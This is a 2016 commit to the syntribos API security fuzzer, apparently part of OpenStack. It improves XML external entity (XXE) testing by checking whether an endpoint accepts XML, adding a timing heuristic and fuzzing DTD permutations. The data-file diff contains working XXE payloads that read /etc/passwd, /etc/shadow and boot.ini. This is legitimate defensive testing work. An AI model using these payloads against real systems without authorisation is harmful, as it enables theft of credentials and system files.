Improved XML external entity tests

1) XML external entity tests are now only generated and run when the API method
supports XML.
2) Supports timing attacks
3) Now fuzzes permutations of XXE DTDs

Change-Id: Ibe81e69f00ef3f29234037a421e40645cf1341e9
This commit is contained in:
michael.dong@rackspace.com 2016-04-29 15:32:59 -05:00
parent 58688be8d8
commit 7f7ad241ef
5 changed files with 79 additions and 21 deletions

View File

@ -1,3 +1,4 @@
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]>
<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "http://www.openstack.org" >]>
<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "http://www.openstackorg" >]>

View File

@ -15,6 +15,8 @@ import copy
import json
import xml.etree.ElementTree as ElementTree
from six.moves import html_parser
_iterators = {}
@ -84,7 +86,10 @@ class RequestHelperMixin(object):
if isinstance(data, dict):
return json.dumps(data)
elif isinstance(data, ElementTree.Element):
return ElementTree.tostring(data)
str_data = ElementTree.tostring(data)
# No way to stop tostring from HTML escaping even if we wanted
h = html_parser.HTMLParser()
return h.unescape(str_data)
else:
return data

View File

@ -144,7 +144,8 @@ class Runner(object):
for file_path, req_str in args.input:
for test_name, test_class in cls.get_tests(args.test_types):
for test in test_class.get_test_cases(file_path, req_str):
cls.run_test(test, result, args.dry_run)
if test:
cls.run_test(test, result, args.dry_run)
cls.print_result(result, start_time, args)
except KeyboardInterrupt:
cafe.drivers.base.print_exception(

View File

@ -22,3 +22,7 @@ class BaseFuzzConfig(ConfigSectionInterface):
@property
def percent(self):
return float(self.get("percent", 200.0))
@property
def time_difference_percent(self):
return float(self.get("time_difference_percent", 200.0))

View File

@ -11,14 +11,18 @@
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import os
from syntribos.issue import Issue
from syntribos.tests.fuzz import base_fuzz
import syntribos.tests.fuzz.datagen
class XMLExternalEntityBody(base_fuzz.BaseFuzzTestCase):
test_name = "XML_EXTERNAL_ENTITY_BODY"
test_type = "data"
data_key = "xml-external.txt"
dtds_data_key = "xml-external.txt"
config = syntribos.tests.fuzz.config.BaseFuzzConfig()
failure_keys = [
'root:',
'root@',
@ -30,6 +34,51 @@ class XMLExternalEntityBody(base_fuzz.BaseFuzzTestCase):
'disk(0)',
'partition']
@classmethod
def get_test_cases(cls, filename, file_content):
"""Makes sure API call supports XML
Overrides parent fuzz test generation, if API method does not support
XML, do not generate tests.
"""
# Send request for different content-types
request_obj = syntribos.tests.fuzz.datagen.FuzzParser.create_request(
file_content, os.environ.get("SYNTRIBOS_ENDPOINT"))
prepared_copy = request_obj.get_prepared_copy()
prepared_copy.headers['content-type'] = "application/json"
prepared_copy_xml = prepared_copy.get_prepared_copy()
prepared_copy_xml.headers['content-type'] = "application/xml"
init_response = cls.client.send_request(prepared_copy)
init_response_xml = cls.client.send_request(prepared_copy_xml)
cls.init_response = init_response
content_type = init_response.headers['content-type']
content_type_xml_request = init_response_xml.headers['content-type']
if ('xml' not in content_type and
'xml' not in content_type_xml_request):
return
if (init_response.status_code in (400, 415) or
init_response_xml.status_code in (400, 415)):
return
# iterate through permutations of doctype declarations and fuzz fields
dtds = cls._get_strings(cls.dtds_data_key)
for d_num, dtd in enumerate(dtds):
prefix_name = "{filename}_{test_name}_{fuzz_file}{d_index}_"
prefix_name = prefix_name.format(
filename=filename, test_name=cls.test_name,
fuzz_file=cls.dtds_data_key, d_index=d_num)
fr = request_obj.fuzz_request(
["&xxe;"], cls.test_type, prefix_name)
for fuzz_name, request, fuzz_string, param_path in fr:
request.data = "{0}\n{1}".format(dtd, request.data)
yield cls.extend_class(fuzz_name, fuzz_string, param_path,
{"request": request})
def test_case(self):
self.test_default_issues()
failed_strings = self.data_driven_failure_cases()
@ -46,18 +95,16 @@ class XMLExternalEntityBody(base_fuzz.BaseFuzzTestCase):
)
)
class XMLExternalEntityParams(XMLExternalEntityBody):
test_name = "XML_EXTERNAL_ENTITY_PARAMS"
test_type = "params"
class XMLExternalEntityHeaders(XMLExternalEntityBody):
test_name = "XML_EXTERNAL_ENTITY_HEADERS"
test_type = "headers"
class XMLExternalEntityURL(XMLExternalEntityBody):
test_name = "XML_EXTERNAL_ENTITY_URL"
test_type = "url"
url_var = "FUZZ"
time_diff = self.config.time_difference_percent / 100
# Timing attacks for requesting invalid url in dtd
if (self.resp.elapsed.total_seconds() >
time_diff * self.init_response.elapsed.total_seconds()):
self.register_issue(
Issue(test="xml_timing",
severity="Medium",
confidence="Medium",
text=("The time it took to resolve a request with an "
"invalid URL in the DTD takes too long compared "
"to the baseline request. This could reflect a "
"vulnerability to an XML external entity attack."))
)